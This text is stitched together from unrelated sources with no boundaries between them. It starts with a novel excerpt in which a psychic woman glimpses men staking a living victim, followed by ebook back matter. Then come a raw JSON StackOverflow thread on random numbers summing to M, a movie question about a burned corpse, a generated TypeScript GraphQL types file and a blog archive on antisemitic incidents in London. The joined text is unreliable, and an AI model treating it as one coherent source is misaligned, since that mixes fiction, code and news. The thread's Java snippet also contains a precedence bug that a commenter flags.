"What are we going to do, Charlie?" Genevieve asked. "I can't live like this for much longer. I know I should be grateful I'm alive, that _we're_ alive, and I don't want to do anything that might endanger Lourdes, but I feel like I'm suffocating."
Charlotte knew how she felt. "We've taken the first step by coming here. We weren't all that quiet about it either, Vieve. We've attracted a lot of attention. Those men, the ones who keep asking us to dance, they give off that creepy testing vibe to me. What about to you? And do they look familiar to you? I swear I've seen them before. I think in France."
Genevieve followed Charlotte's gaze to the three men who had continuously asked them to dance and sent drinks to their table. They winked and flirted and stayed close all night. They were good dancers. They'd asked other women and Charlotte had watched them. All three knew what they were doing on a dance floor. All three were exceptionally good looking. They seemed like men who frequented the dance club and picked up their share of women there. Still, there was something off about them.
"Same here. The one named Vince, Vince Tidwell, touches me with one finger every time he gets close enough. He just runs it over my skin. Instead of giving me any kind of cool shiver, I get the creeps and the image of the testing center is right there in my mind. I keep telling myself we tested in France, so would they really follow us here? But I'm fairly certain they did."
"So maybe we should leave and then wait for them outside and try to follow them," Charlotte suggested. "Lourdes is safe for tonight. I've called half a dozen times and Grace assures me all is quiet on the home front. We could track them tonight and find out where they're staying and who they really are. Maybe we'll find out what they want from us."
Genevieve's vivid green eyes lit up. "Absolutely. I need to do something to make me feel like I'm not sitting on my thumbs just waiting for someone to murder me. I have to do something positive to help myself."
Charlotte nodded. She knew better. She had Lourdes. Responsibilities. One _huge_ responsibility. She'd always been adventuresome. She pursued her dreams with wide-open arms, rushing headlong where others were afraid to go. She hadn't stayed home with her brother. She'd worked hard from the time she was very young so she could finance her trip to France, where she'd always wanted to go. She'd learned French early, and worked hard at it until she could speak like a native. She'd left behind her brother and only come back to help him when his wife died. And then she'd left again.
"Selfish," she murmured aloud. "I've always been selfish, doing the things I wanted to do. I want to go after them too, Vieve. I swear I do." She had to put her mouth close to Genevieve's ear to be heard over the music. She wasn't the type of woman to hide in a house with the covers over her head, but what was the right thing to do? She honestly didn't know.
"Lourdes would be a lot safer if we figured this out, Charlie," Genevieve pointed out.
She wasn't saying anything Charlotte hadn't already told herself, but she still didn't know if she was making excuses to jump into action because she wanted to justify taking the fight and shoving it right down the throat of their enemy.
Charlotte made up her mind. She couldn't just keep hiding. It wasn't in her character, and Genevieve was so right—Lourdes needed to settle into a normal life. They couldn't keep moving and trying to cover their tracks. "Let's do it then, Vieve. We can follow them and see if we can find out what they're up to. You can't look like you, though. You draw way too much attention."
Charlotte risked another quick look at the three men. The one named Daniel Forester appeared to be the leader. His two friends definitely deferred to him. He was tall and good looking, and he knew it. He was staring at her even as he danced with another woman. The woman looked up at him with absolute worship and he was ignoring her to look at Charlie.
She raised an eyebrow at him to let him know she thought he was being rude. He grinned at her as if they shared a secret. "He is an arrogant prick," she hissed.
"So are his friends. Players. All three of them," Genevieve said. "They know they look good and they use their looks to pick up women."
Charlotte couldn't help it; she laughed softly, breaking the stare with Danny to look at her best friend. Genevieve was in full makeup and looked like a runway model. "Seriously? We're really getting bad here, Vieve. We both know we look good and we came here hoping for a little fun."
"I don't know what you're talking about, Charlie," Genevieve protested, all haughty. "I look like this all the time. Waking up, I look like this."
Charlotte blew her a kiss. "Truthfully, you do look like that when you wake up. It makes me sick."
"Uh-oh, here they come. They're bringing drinks. Vince and his friend Bruce at your nine o'clock. They're carrying one for their friend Danny as well." Genevieve lowered her voice until Charlotte could barely make out what she was saying over the music.
Both women plastered on smiles as the two men toed chairs around and sat at their table without asking.
"I know you must have missed us," Bruce Van Hues said. "So we came bearing gifts." He put the drinks down in front of them, flashing them smiles as if that would convince them he was merely joking.
"Pined away," Charlotte said. "Could hardly breathe without you."
Vince laughed, nudging Genevieve playfully with his shoulder before pulling his chair very close to hers, making a show of claiming her. Charlotte saw Genevieve's eyes darken from her normal vivid emerald green to a much deeper forest green, like moss after a rain. That was always, always a bad sign with her best friend. Genevieve had a bit of a temper. She flashed hot and wild, but it never lasted long. Charlotte could hold a mean grudge. She wasn't happy about it, but if she was honest, she could. For a long time.
Charlotte knew Vince was genuinely attracted to Genevieve. Most men were. She was gorgeous. But she was fairly certain the three men had followed them to the club. They hadn't just picked them out of the crowd of women. Four stories' worth of women. Many were beautiful; most were hungry, looking to take someone home. Genevieve and Charlotte had made it clear to the trio of men several times that they weren't there for a casual hookup. That hadn't deterred them in the least.
Danny sauntered over, pulled out the chair beside Charlotte's and dropped into it. "I think I've done my duty for the night." He picked up the drink in front of Charlotte, grinned at her and took a sip. "You haven't done yours, though, woman. You've hardly danced at all. Think of all the disappointment that's caused so many men."
Charlotte shook her head, flashing a small smile at him. He really thought he was charming. He pushed the drink toward her and she deliberately wrapped her fingers around the glass, automatically finding the exact spots where his fingers had touched as she lifted it to her mouth and tipped some of the contents down her throat. The jolt hit her like it always did when she opened herself up to a psychic connection. Her mind tunneled and she found herself in the void, looking at the fresh memories of the men who had touched the glass before her.
The bartender first. His touch was imprinted there. He was worried about his mother and didn't like his father. He wanted a raise and was very tired of drunken women coming on to him. He wished he could come out openly and declare he preferred men, but his father had made it clear if he did so, it would ruin his family and he would be disowned. The bartender wished he had the guts to tell his father to go to hell and just walk away from his family instead of living a lie.
Charlotte felt bad for the man and risked a quick look in the direction of the bar. There were too many bodies dancing to the music to see the actual bar, and she knew she was putting off the inevitable—allowing herself to "read" Danny's memories. Quick flashes of horror movies pushed at her vision. A stake driven into a man's chest. Blood erupting, spraying like a fountain. The victim's eyes wide open, revealing shock and terrible suffering. Danny swinging a hammer to drive the stake deep. Voices urging him on. Distaste for the task but determination.
Charlotte gasped and let go of the glass, leaping up, knocking her chair over in the process as she backed away from the table. Not a horror movie. Reality. She couldn't breathe for a moment, couldn't catch a breath. There was no air in the room. He had done that. Had killed a human being by driving a stake through the man's heart. Vince had been there. So had Bruce. She recognized their voices.
She was aware of the men standing, of Genevieve grasping her arm. Danny's fingers settled around her neck, pushing her head down, afraid she would faint. His touch only made matters worse. She didn't get anything off human beings, only objects, but she imagined she was right there, watching him hammer a stake through a man's heart. Torturing him while he was conscious. The idea of it made bile rise and she pushed one hand over her mouth.
"I'm going to be sick," she whispered.
Genevieve caught her around the waist and began moving her away from Danny and the others, toward the restrooms. "What is it, Charlie?" she whispered. "What did you see?"
"He killed a man." Charlotte choked the words out. " _Tonight_. Before they came here. He drove a stake through his heart while the man was alive. Awake. The other two were with him. And then they came here, drinking. Dancing. _Laughing._ "
Genevieve stopped right outside the ladies' room and glanced over her shoulder. "They're watching us, Charlie. Let's get inside, out of sight."
Charlotte nodded. She had to pull herself together. "It was just a shock. They killed a man and then came here to dance." She let Genevieve lead her into the ladies' room. "Or pick up women."
"Specifically us," Genevieve pointed out. "I get the vibe off of them that they're totally targeting us. Not just any woman. They certainly had their choice. Several women made it clear they'd be willing to go home with them tonight, but they keep coming back to us." She glanced around the crowded ladies' room and lowered her voice even more. "Do you think they could possibly be the ones who murdered your brother and my grandmother?"
Charlotte frowned and forced herself to quit leaning on Genevieve. Her stomach still churned, but she had it under control now. "I'm sorry, Vieve—it was just so shocking. I let go before I could get any more. I shouldn't have, although the murder was so fresh that it probably would have covered everything else." She rubbed the frown off her mouth and sent Genevieve a wry halfhearted smile. "I panicked. I've never done that before in my life. It just goes to show what happens when you have a child. You get soft."
"What are we going to do, Charlie?"
Charlotte took a deep breath and then squared her shoulders. "We're going to get as much information as possible in as little time as possible and then we'll leave. See if they follow us. If I can figure out the location of the body, I can call in an anonymous tip to the cops and name them as the murderers."
"You want to go back to the table and sit with them?" Genevieve asked, her eyes wide with shock.
Charlotte nodded. "We can't let on that we're onto them. We have to just play it off like I was suddenly sick or something. I'll think of an explanation."
Genevieve took a breath and then slowly nodded. "Okay. I can do that if you can. But let's leave as soon as possible."
"Agreed. We'll have to get out in front of them and then find a way to watch to see if they try to follow us out. Turning the tables on them is going to be dangerous, Vieve. If they're following us, then they want something. Murdering that man has to be connected."
Genevieve swallowed hard. "Did you recognize him? Was it someone we know?"
Charlotte tried to focus on the murdered man. He'd been about forty. Dark hair. His face had been twisted with pain. His eyes alive with terror and excruciating agony. She would see those eyes in her sleep. She shook her head, trying to still the shudder that ran through her body. "I don't know. He looks vaguely familiar. It's possible he was on Matt's crew. My brother had a lot of employees. When I sold the company, some of them were laid off and they were angry. I got a lot of threats." She ran her hand through her thick hair. "I just can't place him. He looked . . . terrified. In so much pain. I don't understand what they were doing to him."
"They drove a stake through his heart? You mean like they do to vampires in movies?" Genevieve asked. "Because when _Grandmère_ and your brother were murdered, the blood was drained from their bodies and their throats were torn. Someone might interpret that as being killed by a vampire."
Charlotte's eyebrows shot up. "Now we're really getting outside the realm of possibility and into the realm of complete fantasy."
"I didn't say there are vampires, only that someone nutty might think there are." Genevieve sighed. "Okay, I'll admit, when I saw _Grandmère_ , for a moment I entertained the idea that there were such things."
Charlotte put her arm around her friend in an effort to comfort her. "I'm sorry, honey. I know that was horrible for you. Anyone would have thought the same after seeing her like that. Let's hope there isn't any such thing out there like a real vampire, because the way our luck has been going, it would be after us." She tried for a little levity, although with the bile still forming a knot in her throat, she didn't feel in the least like laughing.
Danny, Vince and Bruce, the three handsome men who had spent the evening flirting with every woman in the place and with Genevieve and Charlotte in particular, were vicious, cold monsters. She took a step toward the door.
Genevieve caught her arm. "Wait. Wait just a minute, Charlie, and let me rethink this. I know I was the one pushing for us to get out of hiding and try to find whoever murdered your brother and my grandmother, but maybe I was wrong to make us a target. These men clearly are murderers, and if you don't think they're the same ones who killed our families, then we shouldn't draw their attention any more than we already have."
They were staying in the restroom far too long. "We don't run. That's what we promised each other," Charlotte reminded her. "We're never going to be free if we don't find out who murdered the ones we love. Lourdes will never be free. You were right, Genevieve. I was the one trying to hide. Being responsible for a child threw me, but we're strong. We've stuck together through everything so far, and we can do this."
"They aren't going to get away with it, are they?" Genevieve said, trying to pour steel into her voice. "We'll find out who took our families, and we'll do it together."
Charlotte looked up at her friend's beautiful face. There was determination there. Fear, but also courage. She nodded. "Damn right, we will. Let's get out there and take back the control. They think they have it, but we're good at what we do."
Genevieve glanced at herself in the mirror. "Charlie?" She hesitated. Long lashes veiled her eyes. "What if there is such a thing as a vampire? What if these men are killing them?"
Charlotte opened her mouth and then closed it. Genevieve didn't deserve a derisive response. She needed to think about what she said carefully. Logically. "First, honey, if there were vampires, after all this time, wouldn't the world know about them? And secondly, the man they killed was no vampire. I saw his death. I saw him. I felt him. He was just as human as the two of us. Maybe they believe they're killing vampires, but I don't see how. And driving a stake through someone's heart, vampire or human, while they're alive and conscious, is just plain sadistic. We can't take any chances with these men. We have to find out what they want, and we need to be very careful. If they've targeted us, we need to know why."
Genevieve took a deep breath and then nodded. She'd been the one to insist they come out of hiding and act like they were alive again, but it was Charlotte who was more the warrior woman. When it came down to facing danger, it was Charlotte who stood in front of her.
The two of them made their way back to the table, threading through the crowd. All three men waited for them, eyes examining them carefully as they approached.
"Why is there always a line in the ladies' room and not the men's?" Charlotte asked and threw herself into the chair beside Danny. "Every time. It's crazy and makes me tempted to march into the men's room and do a takeover with a bunch of other like-minded women."
"What happened to you?" Danny asked. He sounded charming. Solicitous. Worried even. He couldn't hide the cold alertness in his eyes. The suspicion.
She had to touch that glass again without a reaction. Charlotte flashed an embarrassed smile. Deliberately she inched her fingers toward the glass he'd drunk from. "I'm violently allergic to something they put in some of the alcohols. I should have been more careful." She wrapped her palm around the glass right where she thought his prints were and began to slowly push it away from her, making a show out of it.
Much more prepared this time, when the jolt came, she rode it out, seeking to go deeper into the tunnel to find more memories. To see if these men had murdered her brother. She caught images of Danny following Genevieve and Grace from a store. That was how he had found their home. The three men had changed places frequently while following the two women so that no one car had been close to them at any time, which explained how Genevieve, always so careful, hadn't spotted a tail. It also explained how they had come to follow Grace.
There, in the tunnel, Charlotte found that there were two older murders, both committed by driving a stake through a man's heart. All three men were present. She didn't feel anything but a grim hatred emanating from them. Her brother wasn't one of the victims. Still, one of the murders took place in France. She recognized the gardens where Daniel had staked his victim.
The three men were serial killers. The bodies couldn't have been found or the murders would be splashed across every news station imaginable. She knew she couldn't keep her hand around the glass much longer and maintain her embarrassed smile. Genevieve looked so anxious, her face pale, her gaze studiously avoiding the three men, but centered on Charlotte as if her life depended on it.
As if she knew the men would see her desperate fear, Genevieve leaned toward Charlotte. "Are you certain we shouldn't leave? The last time you drank something that affected you so adversely, I had to take you to the hospital."
Charlotte was very proud of her. Genevieve might be terrified, but she was thinking all the time. She'd said the perfect thing to reinforce Charlotte's explanation. Slowly, she let go of the glass, having pushed it halfway across the table.
"I'm all right, Vieve. I just took a little sip and knew instantly something was wrong." She shrugged. "I should have spit it out, but I didn't want Danny to think I was spitting all over him."
The men laughed, although she could tell it was forced. She wasn't certain they were buying her little charade. She leaned back in her seat. It was time to change the subject and do a little digging. "Vieve and I met in France and have been best friends ever since. Where did the three of you meet? You obviously have been friends for a long time."
"School," Vince answered immediately, turning his attention to Genevieve. He ran his finger from her bare shoulder to her wrist. "Grammar school. I love that sexy little French accent you have."
Bruce nodded and leaned toward Genevieve. "How long have you been in the States?"
Charlotte was grateful for Genevieve's French accent. It always managed to be a conversation changer. As a distraction, it worked very well.
"We met while working on art projects in Paris," Genevieve supplied, deliberately taking the attention away from Charlotte. "Charlie was interning, learning art restoration from some of the greatest in the world, and I was painting. We became great friends."
Charlotte casually reached for the napkin in front of Danny, the one he'd been resting his hand on. She crumpled it up slowly, finger by finger, dragging it into her palm as if doing so absently, smiling and nodding to indicate the introduction in France was a good moment for them both.
It was difficult to keep her smile in place, and she welcomed the opportunity to change her attention from Danny to Genevieve, because even with the object being new and fresh rather than older, as her talent preferred, she was getting enough images to know that Danny and his friends had been stalking Genevieve and Charlotte for a long while. And they'd definitely been in France.
Her heart pounded hard. She saw flashes of the building where she'd gone to test her psychic abilities. She and Genevieve had gone in laughing, determined to have fun. It never occurred to either of them that they might be in danger, or that the danger would follow them and possibly hurt others they loved.
Danny and Vince had followed them back to the little studio they were renting together. She didn't see them anywhere near where Genevieve's grandmother lived, nor was there even the faintest memory of standing over the body after or during the time of the murder. She didn't see them near her brother or his home either.
Taking a deep breath, she let go of the napkin. The three men had been in France, followed them from the Morrison Psychic Testing Center, where they'd done the psychic testing, and now had followed the two women to the United States. They were Americans, but from where she wasn't certain. She was frustrated with the fact that she didn't get clear, detailed information like she did from older objects.
Vince continued his conversation with Genevieve, all about her painting and what she liked to paint, volunteering to be her next male model if she was looking for one. Danny and Bruce seemed to be concentrating on her, and Charlotte was afraid for a moment that they might have asked her something while she was trying to gather information.
"You restore art?" Danny asked, hitching closer to her, extending his arm along the back of her chair, fingers gliding along her bare skin, tracing the spaghetti straps on her top.
She forced herself not to pull away, instead flashing him a small smile. "Yes. I specialize in restoring very old carousel horses, the wooden chariot and entire carousels. I can restore American carousels, but the ones I'm most interested in are from Europe. There isn't a lot of call for that sort of thing outside of museums or private collectors, and even fewer here in the States, but it's my first love."
Danny looked puzzled, as most people did. She couldn't explain to them why she liked touching the old wood and feeling every groove in it, every carving. She loved knowing everything there was to know about the carver, long gone from the world, but so familiar to her once she'd touched their art piece.
She laughed softly at his expression. "I can see you don't get it. The horses are unique, each one carved differently, some more than three hundred years ago. How cool is that? I was able to work on one that was carved during medieval times. To prepare for the jousting competitions for young knights, a rotating platform was used with legless wooden horses so they could practice their skills." She couldn't help the enthusiasm pouring into her voice in spite of the situation. She loved the fact that the carousel could be traced all the way back to the twelfth century, when the Arabs and Turks had played a game on horseback with a scented ball. Italians and Spanish had observed the competition and referred to the game as "little war," or _carosella_ or _garosello._
"Keep talking," Danny said gruffly. "I thought it was kind of silly, but it's actually interesting."
"Right?" She nodded her head, which helped her to avoid looking straight at him. She didn't want to see the image of him driving a stake through a man's heart. "A Frenchman got the idea to build a device with chariots and carved horses suspended by chains attached on arms attached to a center pole. It was used to train noblemen on the art of ring spearing. Ladies and children loved the device almost as much as or more than the noblemen." She glanced at Genevieve. The strain was beginning to show on her friend's face. Charlotte gave a little exaggerated sigh. "We should be going. We have to get up early tomorrow."
She stood up before the three men could protest. She needed to get Genevieve out of there as quickly as possible before she gave away the fact that she was terrified. Charlotte was afraid of them as well, but she was determined to find out what was going on. The fact that the three men had followed them from France, found where they were staying and followed them to the club meant Lourdes wasn't safe anyway. They had to change tactics. They needed to quit burying their heads in the sand and find out what threatened them and why.
"Thanks for the drinks. We'll see you around sometime," Genevieve said, flashing her million-dollar smile. She stood up as well, taking a step back as Vince climbed to his feet. Genevieve was tall, but he still towered over her.
"Give me your cell. Let me program my number in," he said, all charm.
Genevieve's gaze shifted to Charlotte's and Charlotte's nod was nearly imperceptible. The last thing she wanted was for sharp-eyed Danny to realize they were onto them. They'd been discouraging at first because they weren't looking to pick up a man, so they had that going in their favor. The three men were very good looking and clearly used to easy conquests. Twice Charlotte had indicated to Danny that she wasn't looking to hook up with anyone and he should move on to a sure thing. She had hoped, in the beginning, that he was interested in her only because she presented a challenge. Now she knew better.
Genevieve reluctantly took out her phone, but instead of handing it over, she programmed Vince's number in herself. Charlotte caught her arm as she passed her, already on her way out the door. She lifted a hand at the three men as Danny protested, pulling out his phone.
"Seriously?" Charlotte smiled at him and waved. "You have an entire smorgasbord of hot women fawning all over you." They had to move and they had to move fast. She knew the men would follow them, and that meant disappearing before they got outside. They'd have to get to their car, get out of the parking garage, find a place to hide and then wait for the men to come out.
"I didn't spend all evening sitting with them," Danny protested.
"Maybe we'll see you next time," Charlotte said, and deliberately hurried into the crowd, heading for the door. "Come on, Genevieve. We have to get the car and fast. We don't have much time."
Genevieve nodded, already fishing for her keys in her purse.
# **CHRISTINE FEEHAN**
I live on the beautiful Northern California coast. I have always loved hiking, whale watching and being outdoors. My camping days are over but I might consider glamping. LOL! I am surrounded by my family, my beloved grandchildren and my pack of dogs. Please visit my website at christinefeehan.com and facebook.com/christinefeehanauthor.
**Looking for more?**
Visit Penguin.com for more about this author and a complete list of their books.
**Discover your next great read!**
## Contents
1. COVER
2. PRAISE FOR CHRISTINE FEEHAN
3. TITLES BY CHRISTINE FEEHAN
4. TITLE PAGE
5. COPYRIGHT
6. DEDICATION
7. FOR MY READERS
8. ACKNOWLEDGMENTS
9. CONTENTS
10. CHAPTER ONE
11. CHAPTER TWO
12. CHAPTER THREE
13. CHAPTER FOUR
14. CHAPTER FIVE
15. CHAPTER SIX
16. CHAPTER SEVEN
17. CHAPTER EIGHT
18. CHAPTER NINE
19. CHAPTER TEN
20. CHAPTER ELEVEN
21. CHAPTER TWELVE
22. CHAPTER THIRTEEN
23. CHAPTER FOURTEEN
24. CHAPTER FIFTEEN
25. CHAPTER SIXTEEN
26. CHAPTER SEVENTEEN
27. CHAPTER EIGHTEEN
28. CHAPTER NINETEEN
29. CHAPTER TWENTY
30. CHAPTER TWENTY-ONE
31. CHAPTER TWENTY-TWO
32. CHAPTER TWENTY-THREE
33. CHAPTER TWENTY-FOUR
34. EPILOGUE
35. EXCERPT FROM Dark Carousel
36. ABOUT THE AUTHOR
1. Contents
2. Cover
3. Start
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2. ii
3. iii
4. iv
5. vi
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{"url":"http:\/\/stackoverflow.com\/questions\/2640053\/getting-n-random-numbers-that-the-sum-is-m","text":"# Getting N random numbers that the sum is M\n\nI want to get N random numbers that the sum of them is a value.\n\nFor example, let's suppose I want 5 random numbers that their sum is 1\n\nThen, a valid possibility is:\n\n0.2 0.2 0.2 0.2 0.2\n\n\nOther possibility is:\n\n0.8 0.1 0.03 0.03 0.04\n\n\nAnd so on. I need this for the creation of the matrix of belongings of the Fuzzy C-means.\n\n-\n\nJust generate N random numbers, compute their sum, divide each one by the sum\n\n-\nThen multiply by M (unless M is 1 like in the example). \u2013\u00a0 ILMTitan Apr 14 '10 at 18:49\nIt's not a good randomization as increasing N would give a variance which tends to zero \u2013\u00a0 HAL9000 Jul 8 '13 at 14:52\nI want to jump on the \"this solution does provide well distributed answers\" banwagon \u2013\u00a0 Ivan Jul 25 '13 at 22:57\nThis is a bad answer. See this answer which proves using pretty graphs that this solution is incorrect: stackoverflow.com\/a\/8068956\/88821 \u2013\u00a0 Eddified Mar 25 at 18:31\n\nGenerate N-1 random numbers between 0 and 1, add the numbers 0 and 1 themselves to the list, sort them, and take the differences of adjacent numbers.\n\n-\nAll right, this was overly complicated. Maybe useful if someone wants to limit it to integers though (obviously using a range larger than 0 to 1) \u2013\u00a0 Matti Virkkunen Apr 14 '10 at 18:46\nIt is not immediately obvious to me that this will result in a normal distribution for N > 3 \u2013\u00a0 ILMTitan Apr 14 '10 at 18:53\nI make no guarantees about math I don't fully understand. \u2013\u00a0 Matti Virkkunen Apr 14 '10 at 19:03\nIt looks like this is the only solution so far that results in a uniform distribution (unless I made a mistake verifying this, which is always possible). \u2013\u00a0 Accipitridae Apr 15 '10 at 6:20\nToday, I encountered the same problem and I found your answer is very helpful. After some basic calculation, I could prove that all N variables are drawn by the identical PDF f(x) = M^(1 - N) (-1 + N) (M - x)^(-2 + N). Note that its mean is M\/N as expected. \u2013\u00a0 Sungmin Jul 17 '13 at 15:20\n\nI think it is worth noting that the currently accepted answer does not give a uniform distribution:\n\n\"Just generate N random numbers, compute their sum, divide each one by the sum\"\n\nTo see this let's look at the case N=2 and M=1. This is a trivial case, since we can generate a list [x,1-x], by choosing x uniformly in the range (0,1). The proposed solution generates a pair [x\/(x+y), y\/(x+y)] where x and y are uniform in (0,1). To analyze this we choose some z such that 0 < z < 0.5 and compute the probability that the first element is smaller than z. This probaility should be z if the distribution were uniform. However, we get\n\nProb(x\/(x+y) < z) = Prob(x < z(x+y)) = Prob(x(1-z) < zy) = Prob(x < y(z\/(1-z))) = z\/(2-2z).\n\nI did some quick calculations and it appears that the only solution so far that appers to result in a uniform distribution was proposed by Matti Virkkunen:\n\n\"Generate N-1 random numbers between 0 and 1, add the numbers 0 and 1 themselves to the list, sort them, and take the differences of adjacent numbers.\"\n\n-\nIn your example, x+y = 1 so P(\\frac{x}{x+y} < z) = P(x < z). The problem with your statement is P(x < y\\frac{z}{1-z}) != P(x < y) P(x < \\frac{z}{1-z}). If that were true and \\frac{z}{1-z} = 10, then P(x < 10y) = P(x < y) P(x < 10) = P(x < y) = 1\/2 but the real answer is 10\/11. \u2013\u00a0 Apprentice Queue Mar 3 '11 at 4:35\n@Apprentice Queue: Note that I'm only analyzing the case where 0 < z < 0.5 in the text above. Your assumption \\frac{z}{1-z} = 10 implies z = 10\/11. Hence you can not expect that the equations hold for this case. \u2013\u00a0 Accipitridae May 10 '11 at 20:23\nI don't think your analysis is correct, since normal \/ uniform refers to the distribution of the values, which doesn't changed when dividing the range by a constant. If the original distribution was uniform, then dividing by the sum produces a uniform distribution that adds to the sum. Likewise for normal. \u2013\u00a0 John Mar 27 '13 at 8:51\n@John: but the number that you divide by depends on the random values chosen (it's not a constant), so it can affect the uniformity of the distribution. For a more obvious example if you choose a uniform random value x and then divide it by sqrt(x), the result is not uniformly distributed. \u2013\u00a0 Steve Jessop Jan 17 '14 at 0:30\nYes, the provided solution does not provide a uniform distribution. Because you're applying a constraint to a uniform distribution which changes the distribution. So while .1 .1 .1 .1 .1 is a fine generation for the originally distribution, within this contraint, it is not. So distribution will change. \u2013\u00a0 Carlos Bribiescas Apr 16 at 13:34\n\nIn Java:\n\nprivate static double[] randSum(int n, double m) {\nRandom rand = new Random();\ndouble randNums[] = new double[n], sum = 0;\n\nfor (int i = 0; i < randNums.length; i++) {\nrandNums[i] = rand.nextDouble();\nsum += randNums[i];\n}\n\nfor (int i = 0; i < randNums.length; i++) {\nrandNums[i] \/= sum * m;\n}\n\nreturn randNums;\n}\n\n-\n> Then multiply by M (unless M is 1 like in the example). \u2013 ILMTitan Apr 14 at 18:49 \u2013\u00a0 Tobias Kienzler Jun 10 '10 at 10:38\nAh. I missed that. Thanks! \u2013\u00a0 Vortico Jun 10 '10 at 18:17\nrandNums[i] \/= sum * m; is equivalent to randNums[i] = randNums[i] \/ (sum * m);. This needs to be randNums[i] = randNums[i] \/ sum * m; so that the order of operations is correct. \u2013\u00a0 Bill the Lizard Mar 23 '14 at 14:41\n\nYou're a little slim on constraints. Lots and lots of procedures will work.\n\nFor example, are numbers normally distributed? Uniform?\nI'l assume that all the numbers must be positive and uniformly distributed around the mean, M\/N.\n\nTry this.\n\n1. mean= M\/N.\n2. Generate N-1 values between 0 and 2*mean. This can be a standard number between 0 and 1, u, and the random value is (2*u-1)*mean to create a value in an appropriate range.\n3. Compute the sum of the N-1 values.\n4. The remaining value is N-sum.\n5. If the remaining value does not fit the constraints (0 to 2*mean) repeat the procedure.\n-\nThe \"remaining value\" is not uniformly chosen because the sum of (n-1) uniform randoms is not uniform. \u2013\u00a0 Mike Housky Sep 6 '13 at 15:23\n1. Generate N-1 random numbers.\n2. Compute the sum of said numbers.\n3. Add the difference between the computed sum and the desired sum to the set.\n\nYou now have N random numbers, and their sum is the desired sum.\n\n-\nExcept if you get the last number to be negative. \u2013\u00a0 Blindy Jun 10 '10 at 18:09\nNothing in the question prohibits negative values... \u2013\u00a0 Yuval Jun 11 '10 at 3:13\n\nFind a random number between 0 and the total you want. Subtract the number from the total. Repeat n-1 times. The final total is the final number.\n\nList<Double> result= new ArrayList<Double>();\ndouble total = 1.0;\nfor (int i = 0;++i < 5;) {\ndouble db = Math.random() * total;","date":"2015-07-02 01:45:24","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.8648616671562195, \"perplexity\": 1116.1032487423684}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-27\/segments\/1435375095346.56\/warc\/CC-MAIN-20150627031815-00033-ip-10-179-60-89.ec2.internal.warc.gz\"}"} | null | null |
Q: Why are Cpt. Branson's hands cable-tied in this shot?
This isn't a head scratching, convoluted plot question. I'm just curious as to why the charred remains of James Franco (aka Captain Branson) has its hands cable tied together? Is that just a thing they do with burned corpses?
I guess I'm bothered by his death and am looking for some kind of extra conspiracy behind it. Of course the cable tied hands couldn't have had anything to do with it - they were obviously put on post-mortem. But still...
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/* tslint:disable */
/* eslint-disable */
// This file was automatically generated and should not be edited.
import { CollectionInput } from "./../../types/globalTypes";
// ====================================================
// GraphQL mutation operation: CollectionUpdate
// ====================================================
export interface CollectionUpdate_collectionUpdate_errors {
__typename: "Error";
field: string | null;
message: string | null;
}
export interface CollectionUpdate_collectionUpdate_collection_backgroundImage {
__typename: "Image";
alt: string | null;
url: string;
}
export interface CollectionUpdate_collectionUpdate_collection {
__typename: "Collection";
id: string;
isPublished: boolean;
name: string;
backgroundImage: CollectionUpdate_collectionUpdate_collection_backgroundImage | null;
descriptionJson: any;
seoDescription: string | null;
seoTitle: string | null;
}
export interface CollectionUpdate_collectionUpdate {
__typename: "CollectionUpdate";
errors: CollectionUpdate_collectionUpdate_errors[] | null;
collection: CollectionUpdate_collectionUpdate_collection | null;
}
export interface CollectionUpdate {
collectionUpdate: CollectionUpdate_collectionUpdate | null;
}
export interface CollectionUpdateVariables {
id: string;
input: CollectionInput;
}
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December 2011 Blog Archive
CST people recognised in New Years Honours list
31 Dec 2011 by CST
CST is proud that two key figures involved with the charity since its inception have been recognised in the New Years Honours list. CST's Chairman, Gerald Ronson, has been awarded a CBE for his philanthropic work inside and outside the Jewish community. Gerald has been a central figure in Jewish …
Hitchens and the anti-Zionists
20 Dec 2011 by Dave Rich
I never met Christopher Hitchens, but I'm guessing he would be amused to discover that even in death he has various conspiracy theorists' heads spinning. First up is Craig Murray, with the approval of Inayat Bunglawala, claiming that Hitchens was a "zionist propagandist": The Iraq War killed hundreds of thousands…
Antisemitic egg throwing in Golders Green & Hendon: suspect identified
Barnet police have today informed CST that they have identified and questioned a suspect for the repeated antisemitic egg throwing that had targeted members of the Jewish community in Golders Green and Hendon, north west London, on Friday nights in recent weeks. CST is pleased to have worked with Barnet…
MPs challenge antisemitism in the UK
This is a cross-post from Harry's Place blog by John Mann MP As chair of the All-Party Parliamentary Group Against Antisemitism, I like to think I can see some progress in getting things done. Our inquiry into antisemitism raised the profile of the fight against this ancient hatred. Our work…
Egg throwing in Golders Green and Hendon
Over the past few weeks on Friday nights, members of the Jewish community walking on Golders Green Road and Brent Street have had eggs thrown at them from a passing car. Several incidents of this nature have been reported to CST, but the true number of incidents is likely to…
Italian far right group charged with terror plot against Jewish community
Five neo-fascists belonging to the 'Militia' group have been charged with plotting terrorism against Jewish and other targets in Rome. The ANSA website reports: Five members of a Rome-based far-right extremist group were arrested and 16 placed under investigation Wednesday on suspicion of planning attacks against Rome's Jewish community and other…
Antisemitic Discourse in Britain in 2010
8 Dec 2011 by Mark Gardner
CST's final report of the year is out today. This is CST's fourth annual report on antisemitic discourse, examining public discussion of antisemitism, Jews and Jewish issues in mainstream media and politics. It may be read in pdf format (51 pages, including graphics) at the …
Former extremists at Young CST dinner
7 Dec 2011 by CST
